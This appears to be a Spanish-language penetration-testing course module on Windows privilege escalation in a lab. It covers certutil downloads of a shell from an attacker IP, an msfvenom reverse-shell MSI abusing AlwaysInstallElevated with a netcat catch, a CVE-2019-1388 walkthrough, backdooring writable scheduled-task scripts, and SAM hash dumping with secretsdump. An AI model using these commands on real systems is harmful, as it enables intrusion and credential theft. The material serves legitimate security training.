Miscellaneous Techniques
Living Off The Land Binaries and Scripts (LOLBAS)
El LOLBAS project documenta binaries, scripts y libraries que se pueden usar para técnicas de "living off the land" en sistemas Windows. Cada uno de estos binaries, scripts y libraries es un archivo firmado por Microsoft que es nativo del sistema operativo o se puede descargar directamente desde Microsoft y tiene funcionalidades inesperadas útiles para un atacante. Algunas funcionalidades interesantes pueden incluir:
Code execution | Code compilation | File transfers |
---|---|---|
Persistence | UAC bypass | Credential theft |
Dumping process memory | Keylogging | Evasion |
DLL hijacking |
Transferring File with Certutil
Un ejemplo clásico es certutil.exe, cuyo uso previsto es para manejar certificados pero también se puede usar para transferir archivos descargando un archivo al disco o codificando/decodificando un archivo en base64.
PS C:\htb> certutil.exe -urlcache -split -f http://10.10.14.3:8080/shell.bat shell.bat
Encoding File with Certutil
Podemos usar el flag -encode
para codificar un archivo usando base64 en nuestro host de ataque Windows y copiar el contenido a un nuevo archivo en el sistema remoto.
C:\htb> certutil -encode file1 encodedfile
Input Length = 7
Output Length = 70
CertUtil: -encode command completed successfully
Decoding File with Certutil
Una vez creado el nuevo archivo, podemos usar el flag -decode
para decodificar el archivo de vuelta a su contenido original.
C:\htb> certutil -decode encodedfile file2
Input Length = 70
Output Length = 7
CertUtil: -decode command completed successfully.
Un binary como rundll32.exe se puede usar para ejecutar un archivo DLL. Podríamos usar esto para obtener un reverse shell ejecutando un archivo .DLL que descargamos en el host remoto o alojamos nosotros mismos en un SMB share.
Vale la pena revisar este proyecto y familiarizarse con tantos binaries, scripts y libraries como sea posible. Podrían ser muy útiles durante una evaluación evasiva o en una en la que el cliente nos restrinja a solo una instancia gestionada de Windows workstation/server para probar.
Always Install Elevated
Esta configuración se puede establecer a través de Local Group Policy configurando Always install with elevated privileges
como Enabled
en las siguientes rutas:
Computer Configuration\Administrative Templates\Windows Components\Windows Installer
User Configuration\Administrative Templates\Windows Components\Windows Installer
Enumerating Always Install Elevated Settings
Vamos a enumerar esta configuración.
PS C:\htb> reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
AlwaysInstallElevated REG_DWORD 0x1
Nuestra enumeración nos muestra que la clave AlwaysInstallElevated
existe, por lo que la política está habilitada en el sistema objetivo.
Generating MSI Package
Podemos explotar esto generando un MSI
package malicioso y ejecutándolo a través de la línea de comandos para obtener un reverse shell con privilegios de SYSTEM.
msfvenom -p windows/shell_reverse_tcp lhost=10.10.14.3 lport=9443 -f msi > aie.msi
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of msi file: 159744 bytes
Executing MSI Package
Podemos subir este archivo MSI a nuestro objetivo, iniciar un listener Netcat y ejecutar el archivo desde la línea de comandos de esta manera:
C:\htb> msiexec /i c:\users\htb-student\desktop\aie.msi /quiet /qn /norestart
Catching Shell
Si todo sale según lo planeado, recibiremos una conexión de vuelta como NT AUTHORITY\SYSTEM
.
nc -lnvp 9443
listening on [any] 9443 ...
connect to [10.10.14.3] from (UNKNOWN) [10.129.43.33] 49720
Microsoft Windows [Version 10.0.18363.592]
(c) 2019 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
Este problema se puede mitigar deshabilitando las dos configuraciones de Local Group Policy mencionadas anteriormente.
CVE-2019-1388
CVE-2019-1388 fue una vulnerabilidad de escalada de privilegios en el Windows Certificate Dialog, que no aplicaba correctamente los privilegios de usuario. El problema estaba en el mecanismo de UAC, que presentaba una opción para mostrar información sobre el certificado de un ejecutable, abriendo el Windows certificate dialog cuando un usuario hacía clic en el enlace. El campo Issued By
en la pestaña General se renderiza como un hyperlink si el binary está firmado con un certificado que tiene Object Identifier (OID) 1.3.6.1.4.1.311.2.1.10
. Este valor de OID se identifica en el wintrust.h header como SPC_SP_AGENCY_INFO_OBJID que es el campo SpcSpAgencyInfo
en la pestaña de detalles del certificate dialog. Si está presente, un hyperlink incluido en el campo se renderizará en la pestaña General. Esta vulnerabilidad se puede explotar fácilmente usando un ejecutable antiguo firmado por Microsoft (hhupd.exe) que contiene un certificado con el campo SpcSpAgencyInfo
poblado con un hyperlink.
Cuando hacemos clic en el hyperlink, se lanzará una ventana del navegador ejecutándose como NT AUTHORITY\SYSTEM
. Una vez abierto el navegador, es posible "salir" de él aprovechando la opción del menú View page source
para lanzar una consola cmd.exe
o PowerShell.exe
como SYSTEM.
Vamos a revisar la vulnerabilidad en práctica.
Primero, haz clic derecho en el ejecutable hhupd.exe
y selecciona Run as administrator
desde el menú.
Luego, haz clic en Show information about the publisher's certificate
para abrir el certificate dialog. Aquí podemos ver que el campo SpcSpAgencyInfo
está poblado en la pestaña de Detalles.
Luego, volvemos a la pestaña General y vemos que el campo Issued by
está poblado con un hyperlink. Haz clic en él y luego haz clic en OK
, y el certificate dialog se cerrará y se lanzará una ventana del navegador.
Si abrimos el Task Manager
, veremos que la instancia del navegador se lanzó como SYSTEM.
A continuación, podemos hacer clic derecho en cualquier lugar de la página web y elegir View page source
. Una vez que se abra el código fuente de la página en otra pestaña, haz clic derecho de nuevo y selecciona Save as
, y se abrirá un cuadro de diálogo Save As
.
En este punto, podemos lanzar cualquier programa que queramos como SYSTEM. Escribe c:\windows\system32\cmd.exe
en la ruta del archivo y presiona enter. Si todo sale según lo planeado, tendremos una instancia de cmd.exe ejecutándose como SYSTEM.
Microsoft lanzó un patch para este problema en noviembre de 2019. Aún así, como muchas organizaciones se retrasan en aplicar parches, siempre debemos verificar esta vulnerabilidad si obtenemos acceso a la GUI de un sistema potencialmente vulnerable como un usuario de bajos privilegios.
Este link lista todas las versiones vulnerables de Windows Server y Workstation.
Nota: Los pasos anteriores se realizaron usando el navegador Chrome y pueden diferir ligeramente en otros navegadores.
Scheduled Tasks
Enumerating Scheduled Tasks
Podemos usar el comando schtasks para enumerar scheduled tasks en el sistema.
C:\htb> schtasks /query /fo LIST /v
Folder: \
INFO: There are no scheduled tasks presently available at your access level.
Folder: \Microsoft
INFO: There are no scheduled tasks presently available at your access level.
Folder: \Microsoft\Windows
INFO: There are no scheduled tasks presently available at your access level.
Folder: \Microsoft\Windows\.NET Framework
HostName: WINLPE-SRV01
TaskName: \Microsoft\Windows\.NET Framework\.NET Framework NGEN v4.0.30319
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 5/27/2021 12:23:27 PM
Last Result: 0
Author: N/A
Task To Run: COM handler
Start In: N/A
Comment: N/A
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management: Stop On Battery Mode, No Start On Batteries
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 02:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: On demand only
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
<SNIP>
Enumerating Scheduled Tasks with PowerShell
También podemos enumerar scheduled tasks usando el cmdlet de PowerShell Get-ScheduledTask.
PS C:\htb> Get-ScheduledTask | select TaskName,State
TaskName State
-------- -----
.NET Framework NGEN v4.0.30319 Ready
.NET Framework NGEN v4.0.30319 64 Ready
.NET Framework NGEN v4.0.30319 64 Critical Disabled
.NET Framework NGEN v4.0.30319 Critical Disabled
AD RMS Rights Policy Template Management (Automated) Disabled
AD RMS Rights Policy Template Management (Manual) Ready
PolicyConverter Disabled
SmartScreenSpecific Ready
VerifiedPublisherCertStoreCheck Disabled
Microsoft Compatibility Appraiser Ready
ProgramDataUpdater Ready
StartupAppTask Ready
appuriverifierdaily Ready
appuriverifierinstall Ready
CleanupTemporaryState Ready
DsSvcCleanup Ready
Pre-staged app cleanup Disabled
<SNIP>
Por defecto, solo podemos ver tasks creadas por nuestro usuario y scheduled tasks predeterminadas que tiene cada sistema operativo Windows. Desafortunadamente, no podemos listar scheduled tasks creadas por otros usuarios (como admins) porque están almacenadas en C:\Windows\System32\Tasks
, a las que los usuarios estándar no tienen acceso de lectura. No es raro que los administradores del sistema vayan en contra de las prácticas de seguridad y realicen acciones como proporcionar acceso de lectura o escritura a una carpeta que generalmente está reservada solo para administradores. Podríamos encontrar una scheduled task que se ejecute como administrador configurada con permisos de archivo/carpeta débiles por cualquier número de razones. En este caso, podríamos editar la task para realizar una acción no intencionada o modificar un script ejecutado por la scheduled task.
Checking Permissions on C:\Scripts Directory
Considera un escenario en el que estamos en el cuarto día de un compromiso de prueba de penetración de dos semanas. Hemos obtenido acceso a un puñado de sistemas hasta ahora como usuarios no privilegiados y hemos agotado todas las opciones para la escalada de privilegios. Justo en ese momento, notamos un directorio C:\Scripts
escribible que pasamos por alto en nuestra enumeración inicial.
C:\htb> .\accesschk64.exe /accepteula -s -d C:\Scripts\
Accesschk v6.13 - Reports effective permissions for securable objects
Copyright ⌐ 2006-2020 Mark Russinovich
Sysinternals - www.sysinternals.com
C:\Scripts
RW BUILTIN\Users
RW NT AUTHORITY\SYSTEM
RW BUILTIN\Administrators
Notamos varios scripts en este directorio, como db-backup.ps1
, mailbox-backup.ps1
, etc., que también son todos escribibles por el grupo BUILTIN\USERS
. En este punto, podemos agregar un fragmento de código a uno de estos archivos con la suposición de que al menos uno de ellos se ejecuta a diario, si no con más frecuencia. Escribimos un comando para enviar un beacon de vuelta a nuestra infraestructura C2 y continuamos con las pruebas. A la mañana siguiente, cuando iniciamos sesión, notamos un solo beacon como NT AUTHORITY\SYSTEM
en el host DB01. Ahora podemos asumir con seguridad que uno de los scripts de respaldo se ejecutó durante la noche y ejecutó nuestro código añadido en el proceso. Este es un ejemplo de cuán importante puede ser incluso el más mínimo bit de información que descubrimos durante la enumeración para el éxito de nuestro compromiso. La enumeración y post-explotación durante una evaluación son procesos iterativos. Cada vez que realizamos la misma tarea en diferentes sistemas, podemos obtener más piezas del rompecabezas que, al juntarse, nos llevarán a nuestro objetivo.
User/Computer Description Field
Checking Local User Description Field
Aunque es más común en Active Directory, es posible que un sysadmin almacene detalles de la cuenta (como una contraseña) en el campo de descripción de una cuenta de computadora o usuario. Podemos enumerar esto rápidamente para usuarios locales usando el cmdlet Get-LocalUser.
PS C:\htb> Get-LocalUser
Name Enabled Description
---- ------- -----------
Administrator True Built-in account for administering the computer/domain
DefaultAccount False A user account managed by the system.
Guest False Built-in account for guest access to the computer/domain
helpdesk True
htb-student True
htb-student_adm True
jordan True
logger True
sarah True
sccm_svc True
secsvc True Network scanner - do not change password
sql_dev True
Enumerating Computer Description Field with Get-WmiObject Cmdlet
También podemos enumerar el campo de descripción de la computadora a través de PowerShell usando el cmdlet Get-WmiObject con la clase Win32_OperatingSystem.
PS C:\htb> Get-WmiObject -Class Win32_OperatingSystem | select Description
Description
-----------
The most vulnerable box ever!
Mount VHDX/VMDK
Durante nuestra enumeración, a menudo encontraremos archivos interesantes tanto localmente como en unidades de red compartidas. Podemos encontrar contraseñas, claves SSH u otros datos que se pueden usar para aumentar nuestro acceso. La herramienta Snaffler puede ayudarnos a realizar una enumeración exhaustiva que no podríamos realizar manualmente. La herramienta busca muchos tipos de archivos interesantes, como archivos que contienen la frase "pass" en el nombre del archivo, archivos de base de datos KeePass, claves SSH, archivos web.config y muchos más.
Tres tipos específicos de archivos de interés son .vhd
, .vhdx
y .vmdk
. Estos son Virtual Hard Disk
, Virtual Hard Disk v2
(ambos utilizados por Hyper-V) y Virtual Machine Disk
(utilizado por VMware). Supongamos que llegamos a un servidor web y no tuvimos suerte escalando privilegios, por lo que recurrimos a buscar en unidades compartidas de red. Encontramos una unidad de backups que aloja una variedad de archivos .VMDK
y .VHDX
cuyos nombres de archivo coinciden con nombres de host en la red. Uno de estos archivos coincide con un host en el que no tuvimos éxito en escalar privilegios, pero es clave para nuestra evaluación porque hay una sesión de administrador de Active Domain. Si podemos escalar a SYSTEM, probablemente podamos robar el NTLM password hash del usuario o el Kerberos TGT ticket y tomar el control del dominio.
Si encontramos alguno de estos tres archivos, tenemos opciones para montarlos en nuestras cajas de ataque Linux o Windows locales. Si podemos montar una unidad compartida desde nuestra caja de ataque Linux o copiar uno de estos archivos, podemos montarlos y explorar los varios archivos y carpetas del sistema operativo como si estuviéramos conectados a ellos usando los siguientes comandos.
Mount VMDK on Linux
guestmount -a SQL01-disk1.vmdk -i --ro /mnt/vmdk
Mount VHD/VHDX on Linux
guestmount --add WEBSRV10.vhdx --ro /mnt/vhdx/ -m /dev/sda1
En Windows, podemos hacer clic derecho en el archivo y elegir Mount
, o usar la utilidad Disk Management
para montar un archivo .vhd
o .vhdx
. Si lo preferimos, podemos usar el cmdlet de PowerShell Mount-VHD. Independientemente del método, una vez que hacemos esto, el virtual hard disk aparecerá como una unidad con letra que luego podemos explorar.
Para un archivo .vmdk
, podemos hacer clic derecho y elegir Map Virtual Disk
desde el menú. A continuación, se nos pedirá que seleccionemos una letra de unidad. Si todo sale según lo planeado, podemos explorar los archivos y directorios del sistema operativo objetivo. Si esto falla, podemos usar VMWare Workstation File --> Map Virtual Disks
para mapear el disco en nuestro sistema base. También podríamos agregar el archivo .vmdk
a nuestra VM de ataque como un virtual hard drive adicional, y luego acceder a él como una unidad con letra. Incluso podemos usar 7-Zip
para extraer datos de un archivo .vmdk
. Esta guía ilustra muchos métodos para acceder a los archivos en un archivo .vmdk
.
Retrieving Hashes using Secretsdump.py
¿Por qué nos interesa un virtual hard drive (especialmente Windows)? Si podemos localizar una copia de seguridad de una máquina en vivo, podemos acceder al directorio C:\Windows\System32\Config
y descargar los registros SAM
, SECURITY
y SYSTEM
. Luego, podemos usar una herramienta como secretsdump para extraer los password hashes para usuarios locales.
secretsdump.py -sam SAM -security SECURITY -system SYSTEM LOCAL
Impacket v0.9.23.dev1+20201209.133255.ac307704 - Copyright 2020 SecureAuth Corporation
[*] Target system bootKey: 0x35fb33959c691334c2e4297207eeeeba
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping cached domain logon information (domain/username:hash)
<SNIP>
Podríamos tener suerte y recuperar el local administrator password hash para el sistema objetivo o encontrar un old local administrator password hash que funcione en otros sistemas en el entorno (ambos casos me han sucedido en bastantes evaluaciones).